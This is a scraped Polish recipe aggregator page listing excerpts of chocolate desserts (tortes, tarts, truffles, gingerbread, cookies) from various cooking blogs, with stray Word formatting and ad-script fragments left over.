myślałam jaki? Odpowiedź jak to w życiu przyszła szybko- musi być z musem czekoladowym, a najlepiej z mocno czekoladowym :) Jeżeli nie przepadacie za musami mocno czekoladowymi , można użyć czekolady mlecznej lub białej. Biszkopt upiekłam dzień wcześniej- by było prościej I szybciej :) Co mogę powiedziec? Tort rozplywa się w ustach , delikatność musu I biszkopta rewelacyjnie współgra ze sobą. Pycha.... Zaczynamy(...)boki pozostawiamy suche. Pieczemy ok 35 min lub do suchego patyczka. Wykonanie I zdjęcia biszkopta- znajdziecie tutaj Składniki na mus * : 3 jajka 1/2 szkl drobnego cukru 250 gr gorzkiej czekolady 50 gr masła 150 śmietany 36% 1,5  łyżeczki żelatyny - rozpuszczamy w 3 łyżkach wody 50 ml Irish baileys lub innego likieru kawowego 200 ml śmietany kremówki Czekoladowe

Smaki Edyty
Tarta z malinami 152

kruche ciasto 250 g mąki pszennej 125 g margaryny 1 żółtko  1 łyżka cukru pudru szczypta soli krem 250 g serka mascarpone 150 ml śmietanki 30% 2 tabliczki czekolady deserowej lub gorzkiej 350 g malin Ze składników zagnieść ciasto jeśli będzie zbyt sypkie dodać 1 łyżkę śmietany 18%. Z ciasta uformować kule owinąć w folię i włożyć do lodówki(...)tartę. Ciasto piec ok 25 minut w rozgrzanym do 200 C piekarniku. Aby ciasto nie wyrosło nakłuć widelcem lub położyć na nim folię aluminiową i obciążyć np. fasolą. Czekoladę rozpuścić w kąpieli wodnej i wystudzić. Śmietanę ubić. Serek mascarpone wymieszać szpatułką i porcjami dodawać bitą śmietanę. Potem do masy dodać rozpuszczoną i wystudzoną czekoladę. Krem wyłożyć na wystudzone ciasto, udekorować

Monia miesza i gotuje
Ciasteczka czekoladowo-migdałowe 195

posypać mielonymi migdałami czy wiórkami kokosowymi lub udekorować pisakami cukrowymi. Zamiast migdałów możemy dodać orzechy lub też słonecznik. składniki: 150 g margaryny 340 g mąki pszennej 110 g czekolady gorzkiej 2 jajka 2 żółtka 120 g tartych migdałów Back Mit 300 g cukru kilka kropel aromatu rumowego Margarynę rozpuścić w rondelku z czekoladą i wystudzić. Jajka, żółtka i cukier utrzeć(...)puszystą masę. Dodać aromat rumowy i rozpuszczoną czekoladę z margaryną. Do masy dodać mąkę wymieszaną z migdałami i dokładnie wymieszać. Jeśli ciasto będzie zbyt lepkie włożyć je na ok 1 godzinkę do lodówki, nieco stężeje jednak lepkie będzie. Z ciasta formować kulki o średnicy 2 cm i lekko spłaszczyć, ułożyć na blasze wyłożonej papierem.Piec ok 12 minut

Monia miesza i gotuje
Sernikobrownie z brzoskwiniami 152

brzoskwiniami. Do ciasta użyłam serka Wieluń o którym pisałam  tutaj . Ciasto przepyszne, wilgotne i rozpływające się w ustach. Polecam :) składniki: ciasto czekoladowe 200 g margaryny 200 g gorzkiej czekolady 200 g cukru pudru 3 jajka 110 g mąki masa serowa 450 g białego sera Wieluń 150 g cukru pudru 2 łyżki cukru waniliowego 2 jajka 5-6 połówek brzoskwiń(...)puszki Przygotować ciasto czekoladowe. Czekoladę rozpuścić w kąpieli wodnej i wystudzić. Margarynę utrzeć z cukrem pudrem. Następnie dodawać porcjami jajka, mąkę i roztopioną czekoladę. 2/3 ciasta przełożyć do natłuszczonej i posypanej tartą bułką tortownicy. Ser utrzeć z cukrem pudrem i cukrem waniliowym oraz jajkami. Masę serową wyłożyć na ciasto czekoladowe. W masę serową powciskać brzoskwinie pokrojone na mniejsze kawałki

Monia miesza i gotuje
Czekoladowe banany w cieście francuskim 228

mamy niespodziewanych gości albo ochotę na coś słodkiego. Z pewnością zadowoli on każdego łasucha oraz dzieciaków. Banany przed zawinięciem można dodatkowo posypać wiórkami kokosowymi albo zostawić oblane jedynie czekoladą. Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow(...)font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} Składniki na 8 sztuk: 1 opakowanie ciasta francuskiego (275g) 4 banany Tabliczka mlecznej czekolady Opcjonalnie wiórki kokosowe Przygotowanie: Rozwinąć ciasto i podzielić je na 8 części. Obrać banany i pokroić na połówki (mniej więcej takie, aby się zmieściły na cieście). Ułożyć je na każdym

Fabryka pomysłów
Czekoladowa tarta z granatem 336

napisać, że to najlepsza tarta, jaką kiedykolwiek zrobiłam i jadłam! Za tym stwierdzeniem pójdzie jeszcze fakt, że kremy czekoladowe nie należą do moich ulubionych. Przeważnie smakuje mi tylko czekolada w najczystszej nieprzetworzonej postaci. Natomiast krem czekoladowy w tej tarcie nie jest przesłodzony, a granat doskonale go uzupełnia i dodaje świeżości. Po prostu kwaśny owoc i słodki krem tworzą idealny związek(...)pieczenia go zdejmuję (ok. 5 ostatnich minut) i wstawiam na jeszcze chwilę. Piec w temperaturze 200 stopni ok. 30 minut. Ostudzić. Krem: 440 ml śmietanki 30% 1 tabliczka mlecznej czekolady 1 łyżeczka żelatyny Parę łyżek gorącej wody lub mleka do rozpuszczenia żelatyny Przygotowanie: Śmietankę ubić. Czekoladę roztopić w kąpieli wodnej i dodać do śmietany. Zmiksować. Żelatynę rozpuścić w gorącej wodzie

Fabryka pomysłów
Petit pains au chocolat 111

jest zamglone. A liście zmieniają kolor i spadają z drzewa. W kominku tli się ogień. Dzieciaki mają ochotę na kakao. Fajnym dodatkiem jest słodka ciepła bułeczka z roztapiającą się czekoladą. przygotowanie jej jest bardzo proste. Składniki Ciasto francuskie, 200 g czekolady (ja używam deserowej), 1 jajko Przygotowanie Ciasto kroimy na paski o szerokości około 5 cm, a długości(...)Układamy na ich początku kawałek czekolady i zawijamy. Smarujemy rozmąconym jajkiem. Pieczemy około kwadransa w temperaturze 180'C. Smacznego

cookpl
Truskawki na patyku 161

moja banalna, ale jakże smaczna propozycja dla zakochanych. Truskawki, czekolada i wino musujące... (potocznie szampan), to zestaw obowiązkowy :) Składniki(...)truskawek, tabliczka gorzkiej czekolady, długie wykałaczki, butelka wina musującego :) Czekoladę rozpuszczamy w kąpieli wodnej, zanurzamy w niej nabite na patyk truskawki. Odstawiamy do zastygnięcia lub zjadamy od razu... zależy kto co lubi

Delicious Titbits
Ciasteczka walentynkowe 127

cukru, 2 cukry waniliowe, 1 łyżka luźnego smalcu, 3 jajka, 2 łyżeczki proszku do pieczenia. Dodatkowo: 1 tabliczka gorzkiej czekolady, 1 tabliczka białej czekolady. Wszystkie składniki zagniatamy ze sobą. Ciasto rozwałkujemy na ok. 3 mm i wycinamy serca foremkami :) Układamy na blaszce i pieczemy w temp. 180 Normal 0 21 MicrosoftInternetExplorer4 ˚ C ok. 10-15 minut, do zrumienienia. Ja piekę(...)termoobiegiem. Po wyjęciu z pieca studzimy i przygotowujemy polewę czekoladową  rozpuszczając ją w kąpieli wodnej. Jeśli do płynnej czekolady dodacie odrobinę oleju roślinnego (ok. 1 łyżeczki na jedną tabliczkę) będzie się ona błyszczeć po zastygnięciu

Delicious Titbits
Oponki drożdżowe vel American doughnuts :) 137

Składniki: 380 g mąki pszennej (ja użyłam typ 550), 7 g drożdży, 180 ml mleka (ciepłego mleka), 53 g cukru, 3 łyżki masła, 1 jajko, Polewa: 1/2 tabliczki czekolady białej, 3 kostki gorzkiej czekolady, Normal 0 21 MicrosoftInternetExplorer4 Wszystkie składniki wsypać do miski i połączyć ze sobą, następnie wyrabiać ok. 5 minut. Ciasto odłożyć do wyrośnięcia(...)rozgrzanym oleju w temp. 180 ° C.  Ja smażę na kuchni indukcyjnej na mocy 7. Piekę na rumiano i upieczone odkładam na ręcznik papierowy do odsączenia nadmiaru tłuszczu. Czekolady rozpuszczamy w kąpieli wodnej i zanurzamy nasze oponki. Połowę jednak zrobiłam klasycznie z cukrem pudrem

Delicious Titbits
Trufle czekoladowe 119

Łatwy i tani deser. Idealny na babskie wieczorki przy winku lub do kawki. Mój luby je uwielbia :). Składniki: 2 gorzkie czekolady 1 mleczna czekolada 1/4 szklanki (szklanka-250ml)śmietanki 30% wiórki kokosowe/mielone migdały/ mielone orzechy Czekolady łamiemy na mniejsze kawałki dodajemy śmietankę i roztapiamy w kąpieli wodnej. Nie doprowadzamy do wrzenia. Przelewamy do miseczki i ostudzamy w pokojowej temp. następnie

Pudełko rozmaitości
Miodownik krajeński – efektowne i pyszne ciasto 40

mleka 2% 3 łyżki mąki pszennej 3 łyżki mąki ziemniaczanej 50 g cukru (1/4 szklanki) łyżka miodu łyżeczka ekstraktu migdałowego (opcjonalnie) 200 g masła   Polewa czekoladowa: 100 g czekolady gorzkiej łyżka kakao 5 łyżek mleka łyżka masła garść płatków migdałów do posypania   Przygotowanie Biszkopt Jajka powinny być w temperaturze pokojowej, dlatego wyjmij je z lodówki(...)ucieraj przez chwilę robotem kuchennym, następnie, cały czas ucierając, dodawaj orzechy, a potem po łyżce zimnego budyniu. Miksuj do połączenia się składników. Polewa czekoladowa Masło, podzieloną na kostki czekoladę, kakao i mleko przełóż do rondelka i podgrzewaj, aż składniki się rozpuszczą i powstanie jednolita polewa. Złożenie ciasta Na spodni blat biszkoptu wyłóż połowę kremu, przykryj ciastem miodowym, wyłóż drugą część

e-PrzepisyKulinarne
Chlebek bananowy bezglutenowy 61

zmielone na pył w malakserze płatki owsiane), ryżową, proszek do pieczenia, sodę oraz cynamon. Wsypujemy suche składniki do mokrych. Mieszamy krótko – tylko do połączenia. Wsypujemy posiekane orzechy i/lub czekoladę (ja zazwyczaj używam orzechów laskowych). Przekładamy do keksówki i wyrównujemy. Ostatniego banana obieramy i kroimy wzdłuż na dwie części – układamy na wierzchu ciasta. Wkładamy do nagrzanego piekarnika i pieczemy(...)minut (do suchego patyczka). Jest pyszny na ciepło i na zimno. * BG = bez glutenu ** Jeśli nie możecie spożywać orzechów, można wymienić je na pokrojoną, gorzką czekoladę (50g) czy rodzynki. Post Chlebek bananowy bezglutenowy pochodzi z bloga Poezja smaku

Poezja smaku
Fale Dunaju z malinami – sprawdzony przepis na pyszne ciasto 36

mleka 3 żółtka 5 łyżki mąki ziemniaczanej 3 łyżki mąki pszennej 150 g cukru łyżeczka ekstraktu migdałowego (opcjonalnie) 200 g masła   Polewa czekoladowa: 100 g gorzkiej czekolady o wysokiej zawartości kakao łyżka masła 1/4 szklanki mleka łyżka kakao   Ponadto: 250 g malin, wiórki kokosowe do posypania   Przygotowanie Ciasto Wszystkie składniki na ciasto powinny być w temperaturze pokojowej(...)ucierając. Gotową masę wylewamy na wystudzone ciasto. Całość wkładamy do lodówki na 20 minut. Polewa W tym czasie przygotowujemy polewę. W rondelku rozpuszczamy masło, następnie dodajemy pokruszoną na tabliczki czekoladę, kakao i mleko. Całość zagotowujemy na małym ogniu, cały czas mieszając, aby polewa się nie przypaliła. Odstawiamy na chwilę, aby się lekko wystudziła. Następnie polewę wylewamy na ciasto, posypujemy wiórkami

e-PrzepisyKulinarne
Biszkoptowy tort czekoladowy 77

ubitej piany. Ciasto przelewamy do nasmarowanej masłem tortownicy (u mnie 26cm) i pieczemy przez 35/40 min w 180 stopniach. Składniki na krem: 500 ml śmietany 36% 400 g gorzkiej czekolady 3 łyżki cukru odrobina wanilii/cukru waniliowego Krem do tortu – jak przygotować Śmietankę podgrzewamy w rondelku z cukrem i wanilią, tak aby była bliska zagotowania. Następnie przelewamy do miski(...)wrzucamy do niej czekoladę, która musi się rozpuścić. Krem będzie dobry po około 2 godzinach od ostudzenia.   Po ostudzeniu kroimy biszkopt na 3 części. Blaty nasączamy mocną i zimną czarną herbatą i smarujemy kremem, tak robimy z każdą warstwą. Górę można dekorować według uznania. U mnie są to trufle i maliny. Smacznego

Kulinarnyblog.pl - wiesz jak gotować!
Churros 77

niech dorzuci łyżkę cukru do gotującej się wody, ale trzeba się liczyć z tym, że przy smażeniu ciasto będzie szybciej brązowieć. Przepis na sos czekoladowy: 3 tabliczki gorzkiej czekolady (3 x 90 g) 200 ml śmietanki 30% 50 ml mleka szczypta soli. Śmietankę i mleko podgrzewamy na średnim ogniu, jak zacznie lekko bulgotać, wrzucamy drobno posiekaną czekoladę. Mieszamy do rozpuszczenia

ladykitchen
Keto eklerki (Paleo, LowCarb) 152

delikatnej strukturze z aksamitnym, maślanym kremem. Gotowe, żeby podbić karnawałowe keto stoły… Course Deser Cuisine Europejska, Wege Diet Low-Carb, Gluten Free, Vegan, Wege Keyword ciasta z kremem, czekolada, eklery, finger food Prep Time 30 minutes Cook Time 15 minutes Total Time 40 minutes Servings 16 sztuk Author Modern Cavegirl Ingredients Ciasto parzone 240 ml wody(...)łyżki erytrytolu w pudrze 80 g masła klarowanego w temperaturze pokojowej Polewa czekoladowa 50 ml mleka kokosowego 20 g czekolady gorzkiej min. 85% kakao; posiekanej na mniejsze kawałki 10 g oleju kokosowego nierafinowanego Instructions Ciasto parzone Wymieszać mąkę kokosową z gumą guar i babką płesznik. Wodę zagotować

Modern Cave Girl
FIT ORKISZOWE Z BANANAMI I KREMEM CZEKOLADOWYM Z ORZECHAMI NUTLOVE 73

erytrytol – 2 łyżki * soda – 1 łyżeczka * olej kokosowy – 2 łyżki- * jajko L – 1 * sól – 2 szczypta * NUTLOVEChoco Crunch With Roasted Peanuts – dostępny TUTAJ! * czekolada * banan SPOSÓB PRZYRZĄDZENIA: Można ręcznie lub blenderem! Banany miksujemy z jajkiem, rozpuszczonym olejem kokosowym. Dodajemy mąkę orkiszową, erytrytol, sodę oraz sól. Wszystko razem blendujemy. Wylewamy do foremki wyłożonej papierem, układamy(...)przekrojonego banana oraz porcje kremu NUTLOVE i kawałki czekolady. Pieczemy ok. 45-50 minut w 180C z termoobiegiem. Smacznego! Ps. A Wy na który smak kremu NUTLOVE macie ochotę? Mam nadzieję, że jeszcze bardziej Was nimi zainteresowałam! Zajrzyjcie do sklepu SFD i wybierzcie coś dla siebie! A zdecydowanie jest w czym wybierać! https://sklep.sfd.pl/ Wpis powstał we współpracy ze sklepem

Ostra na Słodko
Keto likier pierniczkowy (Paleo, LowCarb) 85

kieliszków Czas przygotowania 5 minut Czas gotowania 5 minut Składniki 300 ml gęstego mleka kokosowego 1 szczypta soli himalajskiej, kłodawskiej lub morskiej 0,25 szklanki erytrytolu 2 kostki czekolady gorzkiej min. 85 % kakao lub niskowęglowodanowej 30 g masła migdałowego 1,5 łyżeczki przyprawy do piernika (przepis na domową przyprawę do piernika dostępny we wpisie o pierniczkowym latte) 300 ml wódki(...)Sposób przygotowania Mleko kokosowe z solą podgrzać w garnuszku razem z erytrytolem do momentu pełnego rozpuszczenia się drobinek erytrytolu. Zestawić z ognia i dodać czekoladę połamaną na mniejsze kawałki, mieszać aż się całkowicie rozpuści. Następnie dodać masło migdałowe oraz przyprawę do piernika. Dokładnie wymieszać całość tak, żeby nie było żadnych grudek czy nierozpuszczonych elementów. Gdy płyn całkowicie ostygnie, dolać wódkę

Modern Cave Girl
Piernik staropolski cz.2 102

kubka świątecznego kakao wprost idealny! Składniki ciasto leżakujące z TEGO przepisu ok. 600 g powideł śliwkowych (wybierzcie te jak najlepszej jakości, a najlepiej domowe) polewa czekoladowa: 200 g gorzkiej czekolady + 100 g masła do dekoracji: płatki migdałów i posiekane orzechy włoskie Czas przygotowania 60 minut na pieczenie + 10 minut na złożenie piernika Liczba porcji 3 pierniki o wymiarach(...)już poleżał, skruszał i powidła oddały mu nieco swojej wilgoci, to przystępujemy do dzielenia i dekorowania. Całe ciasto dzielimy na trzy równe części. Miarka jak najbardziej będzie tu wskazana ;). Czekoladę z masłem rozpuszczamy w kąpieli wodnej. Taką polewę rozsmarowujemy na powierzchni każdego piernika i póki jeszcze nie zastygła, wierzch dekorujemy posiekanymi orzechami i płatkami migdałów, które przykleją się do ciast

Analiza Smaku
Orzechowo kokosowa kostka jaglana bez pieczenia 74

masła orzechowego (polecam z kawałkami orzechów) 3 dojrzałe banany 2 łyżki kakao pół kubka likieru słony karmel Krupnik (nie jest obowiązkowy) kilka kropel aromatu waniliowego kilka kostek gorzkiej czekolady rozpuszczonej na polewę Przygotowanie: Kaszę jaglaną przepłukujemy wrzątkiem, a następnie zimną wodą. Mleko wlewamy do większego garnuszka, dodajemy parę kropel aromatu waniliowego i gotujemy. Do gotującego się mleka dodajemy kaszę(...)wiórki kokosowe. Wszystko ponownie dokładnie blendujemy. Masa będzie dość gęsta. Spód formy (20x25) wykładamy papierem do pieczenia, a boki delikatnie natłuszczamy. Wykładamy masę do formy i dobrze ją dociskamy. Czekoladę rozpuszczamy w kąpieli wodnej lub w mikrofali i polewamy nią deser.  Wkładamy do lodówki na parę godzin a najlepiej na całą noc. (adsbygoogle = window.adsbygoogle || []).push

Zdrowie i pysznie na talerzu
Ciasto Czekoladowe Z Dżemem 153

pszennej 140 g cukru 1 i 1/2 łyżki kakao 3/4 płaskiej, łyżeczki sody 2 jajka kl L 1/3 szkl oleju 3/4 szkl mleka 5 łyżek dżemu Polewa: 70 g czekolady 140 ml śmietanki 30 % wiórki kokosowe 1. Suche składniki mieszamy osobno i mokre osobno. 2. Następnie suche do mokrych i mieszamy bądź miksujemy i do blaszki. Pieczemy 180 stop przez(...)około 45-50 minut. 3. Śmietankę zagotowujemy, zdejmujemy z palnika i dodajemy połamaną czekoladę, mieszamy do rozpuszczenia. Następnie studzimy i tak przygotowaną polewą, polewamy ciasto, na koniec możemy posypać wiórkami kokosowymi :) Źródło inspiracji Tutaj

Gotowanie...to proste !
Trufle czekoladowe 125

przepis udoskonalić, żeby był zarówno smakowo i w przygotowaniu lepszy. Nie zrażam się i będę testować do skutku. Trufle czekoladowe przepis na około sztuk – 200 g czekolady gorzkiej (korzystałam z 70% kakao) – 100 ml śmietanki 30% – 30 g masła – 1 łyżka wódki lub likieru (można pominąć) Dodatkowo: – u mnie cukier puder i wiórki kokosowe(...)obtoczenia – kilka orzechów: u mnie ziemne i migdały Śmietankę należy zagotować i od razu zdjąć z gazu. Wrzucić do niej połamaną czekoladę i pokrojone na małe kawałki masło. Czekamy krótką chwilę, a następnie mieszamy tak długo, aż składniki się połączą. Gdy masa zacznie gęstnieć dolewamy alkoholu i znów mieszamy. Odstawiamy do lodówki na kilka godzin żeby masa stężała

Relaxtime
Czekoladowy Ryż 103

bakaliami ;) Składniki na 2 osoby: 600 ml mleka 120 g ryżu Arborio lub mlecznego 20 g cukru zwykłego lub brązowego po łyżce posiekanych orzechów, rodzynek/żurawiny 8 kostek czekolady deserowej/gorzkiej (mogą być to słodycze ze świąt, wtedy dajemy o połowę miej cukru) 1. Mleko zagotowujemy z cukrem. 2. Następnie wsypujemy ryż, mieszamy i zmniejszamy gaz na jak najmniejszy. 3. Gotujemy(...)momentu aż ryż będzie miękki (czas gotowania zależy od rodzaju ryżu) 4. Pod sam koniec gotowania dodajemy czekoladę i mieszamy do rozpuszczenia. Następnie wykładamy do miseczek i posypujemy po wierzchu orzechami, rodzynkami i żurawiną. Smacznego

Gotowanie...to proste !
SZYBKI PIERNIK 123

średnie jajka 200g mąki pszennej 200g cukru 1⅓ łyżeczki sody oczyszczonej ¾ łyżeczki proszku do pieczenia szczypta soli Dodatkowo: około 250g powideł śliwkowych orzechy do posypania wierzchu piernika Polewa: 100g czekolady deserowej 50g masła W rondlu rozpuszczamy masło i czekoladę, mieszamy do uzyskania gładkiej masy, przestudzoną polewą polewamy piernik Wykonanie: do rondla wkładamy masło, miód, kakao oraz przyprawę do pierników, mieszamy

Słodkie zapomnienie
Seromakowiec 154

temp. pokojowej) 650 g sera białego 200 g cukru pudru 75 g masła 3 jajka + 1 białko szczypta soli 3 łyżki mąki ziemniaczanej łyżeczka ekstraktu waniliowego Polewa: 100 g czekolady 100 g śmietanki 30% Ciasto: Składniki posiekać i zagnieść elastyczne ciasto. Foremkę (24x36cm) wyłożyć papierem do pieczenia, wylepić spód ciastem. Nakłuć widelcem i podpiec ok 10 minut w 175 stopniach(...)delikatnie wymieszać z masą serową. Wyłożyć na masę makową, wyrównać. Ciasto piec w 175 stopniach przez około 70 minut. Ostudzić i polać polewą. Polewa: śmietankę mocno podgrzać, dodać połamaną czekoladę i wymieszać do połączenia

Smakołyki Asi
Bułeczki brioche 129

bułeczki, wyróżniają się jednak tym, że na czubku mają kawałek ciasta, który służy tylko po to, żeby oderwać go od ciepłej bułeczki i włożyć do środka trochę masła, albo czekolady albo tartego sera – możliwości jest naprawdę dużo! Genialne, prawda? Oryginalne francuskie bułeczki brioche piecze się w specjalnych metalowych foremkach wyglądających jak formy na mini babki, równie dobrze spisze się(...)jednak najzwyklejsza blaszka na muffiny. Jeśli szukacie inspiracji na inne pyszne śniadaniowe wypieki zapraszam Was serdecznie do zobaczenia wpisów z przepisami na chałkę , rogale z orzechami i czekolad ą lub drożdżówki z serem . Składniki: 220 g mąki 100 g masła 2 łyżki cukru 3 łyżki letniej wody 2 jajka 15 g drożdży szczypta soli + 1 żółtko Jak zrobić bułeczki brioche

Ciastkozercy
Sernik tradycyjny z rodzynkami 135

masła (200 g) miękkiego ▸4 jajka+4 łyżki cukru (ja dałam brązowy)/słodzika ▸2 łyżki skrobi ziemniaczanej ▸skórka z połowy cytryny ▸80 g rodzynek  ▸pół tabliczki gorzkiej czekolady ▸płatki migdałowe do posypania Przygotowanie: 1. Rodzynki moczymy we wrzątku 10 minut, następnie odlewamy wodę i obtaczamy delikatnie w skrobi ziemniaczanej. 2. Masło ucieramy z cukrem/słodzikiem na puszystą masę(...)masy, delikatnie mieszając. 3. Przelewamy do formy (27 cm) wyłożonej papierem do pieczenia i pieczemy 60 minut w 170 stopniach. Po wył. nie otwieramy od razu piekarnika! 4. Czekoladę rozpuszczamy w kąpieli wodnej i polewamy ostygnięty sernik, posypując na koniec płatkami migdałowymi. Przepis możecie pobrać w formacie PDF i go wydrukować.  (adsbygoogle = window.adsbygoogle || []).push

Zdrowie i pysznie na talerzu
ODCHUDZONY PIERNIK DYNIOWO-ORKISZOWY 156

łyżeczki przyprawy do pierników szczypta soli garść posiekanych orzechów włoskich 1 szklanka puree z dyni (200g) ½ szklanki mleka ½ szklanki oleju kokosowego ( 80ml) 1średnie jajko   Polewa: 70g gorzkiej czekolady 1-2 łyżki oleju kokosowego szczypta cynamonu Czekoladę rozpuszczamy np. w kuchence mikrofalowej, dodajemy 1 łyżkę oleju oraz dla smaku cynamon, mieszamy , przestudzoną polewą polewamy piernik Wykonanie: do jednej miski dodajemy

Słodkie zapomnienie
miękkie pierniczki z nadzieniem migdałowym 228

przyprawy korzennej 170 g cukru 1 jajko 1 szklanka mleka 1/2 szklanki cukru 4 łyżki kaszy manny 100 g zmielonych migdałów 1 łyżeczka aromatu migdałowego   2 tabliczki gorzkiej czekolady wykonanie: Zagotowałam mleko z cukrem i aromatem migdałowym. Do wrzącego mleka wsypałam kaszę mannę i gotowałam kilka minut co chwilę mieszając, żeby nie zrobiły się grudki. Zestawiłam z ognia(...)brzegi. Pierniczki układałam na blaszce wyłożonej papierem do pieczenia i piekłam do lekkiego zrumienienia (10 - 15 minut) w temperaturze 180 stopni. Po wystudzeniu dekorowałam,  rozpuszczoną w kąpieli wodnej, czekoladą

babka w formie
Ciasto z kremem budyniowo-chałwowym bez pieczenia 104

mleka (3 szklanki o pojemności 250 ml)   2 żółtka 2 budynie śmietankowe (u mnie Emix ) 200g masła 300g chałwy (u mnie przeważnie waniliowa)   Polewa:  150g czekolady (u mnie gorzka)  3 łyżki masła/mleka/słodkiej śmietanki Dodatkowo:  około 350g herbatników kakaowych Opcjonalnie: sezam do posypania (u mnie biały i czarny) Przygotować krem(...)masy budyniowo-chałwowej, herbatniki, resztę masy i na końcu ponownie ciastka. Całość wstawić do lodówki na czas przygotowania polewy czekoladowej. W małym garnuszku umieścić masło/mleko/śmietankę oraz posiekaną czekoladę. Wszystko razem powoli roztopić i wymieszać do powstania gładkiej polewy czekoladowej. Lekko przestudzoną polewę rozsmarować na wierzchu ciasta i opcjonalnie posypać sezamem. Ciasto schłodzić w lodówce. (Najlepiej smakuje następnego dnia

Di gotuje
Bezy z polewą czekoladową 89

wychodzi 10 mini bezików. Jest biało i magicznie pomimo braku śniegu! SKŁADNIKI: 3 białka 150 g cukru pudru opakowanie cukru z wanilią szczypta soli SKŁADNIKI NA POLEWĘ: 50 g czekolady gorzkiej 60 ml śmietanki 30% PRZYGOTOWANIE: Wyjmuję białka z lodówki. Wkładam je do szklanej czystej i suchej miski. Ubijam je ze szczyptą soli stopniowo zwiększając obroty miksera na sztywną(...)jaśniejsza. Piekę na środkowej półce piekarnika, bez termoobiegu grzaniem góra plus dół. Wyłączam piekarnik. Bezy studzę w piekarniku. Polewa: śmietankę podgrzewam, ale nie gotuję. Zdejmuję z ognia, wrzucam kawałeczki czekolady, mieszam do rozpuszczenia, lekko studzę. Gotowe beziki wyjmuję z piekarnika i polewam dowolnie polewą. Można także obsypać beziki kolorowymi posypkami. Gotowe – smacznego

Zasmakuj Kuchni
Kremowa owsianka waniliowa z mango 175

kremową owsiankę waniliową ze słodkim i soczystym owocem mango. Tym razem główną rolę odgrywają ziarenka wanilii, które to nadają niebywałego smaku i aromatu. Można podać z odrobiną gorzkiej czekolady, która w gorącej owsiance przepysznie się rozpuszcza i smacznie urozmaica smak.  Składniki: 50 g płatków owsianych  1/2 laski wanilii 1 łyżka ksylitolu  1 łyżeczka masła orzechowego (u mnie(...)nerkowców) 125 ml mleka 125 ml wody  1/2 małego mango  kostka gorzkiej czekolady  1 łyżeczka wiórków kokosowych  Przygotowanie: Do rondelka wsyp płatki, dodaj ziarenka z laski wanilii i pusty już strączek (który podczas gotowania doda jeszcze intensywniejszego smaku waniliowego), ksylitol, masło orzechowe oraz wlej mleko i wodę. Od momentu zagotowania gotuj na małym ogniu, dalej

Zdrowie na języku :P
Piernik staropolski z powidłami i suszonymi śliwkami 353

szklanki powideł śliwkowych 200 g suszonych śliwek 1 laska cynamonu 1 łyżeczka goździków mielonych POLEWA: 1/2 szklanki cukru pudru 1/3 szklanki wody 2 łyżki kakao 50 g masła 1 czekolada gorzka Miód, cukier i masło umieścić w garnku. Podgrzewać na małym ogniu, aż się rozpuszczą i odstawić do przestudzenia. Sodę rozprowadzić w zimnym mleku i wlać do masy, dodając również(...)części i każdą z nich oblałam polewą czekoladową. Polewa. Cukier puder i kakao przesiać przez sitko. Wsypać do garnka, wlać wodę i mieszając zagotować. Dodać masło z czekoladą i na małym ogniu mieszać, aż się rozpuszczą. Przestudzoną polewą polać piernik. Smacznego

https:KKuchniaMniam
ŚWIĄTECZNY TORT Z LAMPKAMI – tort szarlotka 215

idealny pomysł na święta Bożego Narodzenia. Ciasto cynamonowe nie jest lekkie ani puszyste. Jeśli nie lubicie ciężkich ciast polecam wykorzystać ciasto z Tortu piernikowego. Krem do tynkowania z białą czekoladą jest bardzo słodki. Jeśli ktoś uważa, że kremy maślane do tynkowania są za słodkie, to niech spróbuje tego! Inne kremy, które nadają się do tynkowania tortu znajdziecie Tutaj. Pamiętać trzeba(...)jednak, że na kremie śmietankowym kolorowe cukierki się rozpuszczą. Dlatego polecam przykleić je na roztopionej czekoladzie. Zapraszam każdego fana szarlotki na ten wyjątkowo świąteczny tort! P.S. Pracę nad tortem najlepiej rozłożyć sobie na kilka dni. Dzień 1: Robimy mus jabłkowy i pieczemy 3 blaty ciasta. Dzień 2: Prażymy jabłka, robimy krem cynamonowy i składamy tort. Dzień 3: Tynkujemy tort kremem

Słodki Pomysł
Piernikowa pysznotka z kremem czekoladowym 946

soli 250 g masła 4 żółtka 1 łyżka śmietany 18% ŚMIETANKOWY KREM BUDYNIOWY: 2 szklanki mleka 2 łyżki mąki pszennej 2 łyżki mąki ziemniaczanej 1/2 szklanki cukru 50 g czekolady gorzkiej 70% 2 łyżeczki żelatyny 2 łyżki zimnej wody 1 szklanka śmietanki kremówki 30% BEZA: 4 białka 3/4 szklanki cukru szczypta soli DODATKOWO: 1 słoik (300 ml) powideł śliwkowych(...)mąkami. Resztę mleka przelać do garnka, dodać cukier i wstawić na ogień. Kiedy się zagotuje wlać mieszankę z mąki i ugotować gęsty budyń. Zdjąć z ognia. Dodać połamaną czekoladę i mieszać, aż całkiem się rozpuści. Tak samo dodać żelatynę. Po rozpuszczeniu i wymieszaniu przykryć folią spożywczą, tak aby była przyklejona na powierzchni i odstawić do wystudzenia. Należy kontrolować budyń

https:KKuchniaMniam
Dyniowy sernik Izaura 345

Ciasto idealnie sprawdzi się na świątecznym stole, bo przecież sernika zabraknąć nie może :) CIASTO CZEKOLADOWE: 5 jajek 3/4 szklanki cukru 1/2 szklanki wody 1/2 szklanki oleju rzepakowego 50 g czekolady gorzkiej 1 1/2 szklanki mąki pszennej 1/4 szklanki kakao 1 łyżeczka proszku do pieczenia szczypta soli SERNIK DYNIOWY: 500 g twarogu zmielonego 150 g puree z pieczonej dyni hokkaido(...)szklanki cukru 1 budyń waniliowy Jajka utrzeć z cukrem i szczyptą soli na puszystą, jasną masę. Stale ubijając wlewać cienkim strumyczkiem wodę i olej. Następnie wlać rozpuszczoną czekoladę. Mąkę pszenną przesiać z proszkiem do pieczenia i kakao. Wsypać do masy jajecznej i zmiksować na niższych obrotach. Kiedy ciasto będzie jednolite, przelać do formy (23 x 35 cm)wysmarowanej masłem

https:KKuchniaMniam
Piernik kawowy z bananem (tylko na 1 jajku) 125

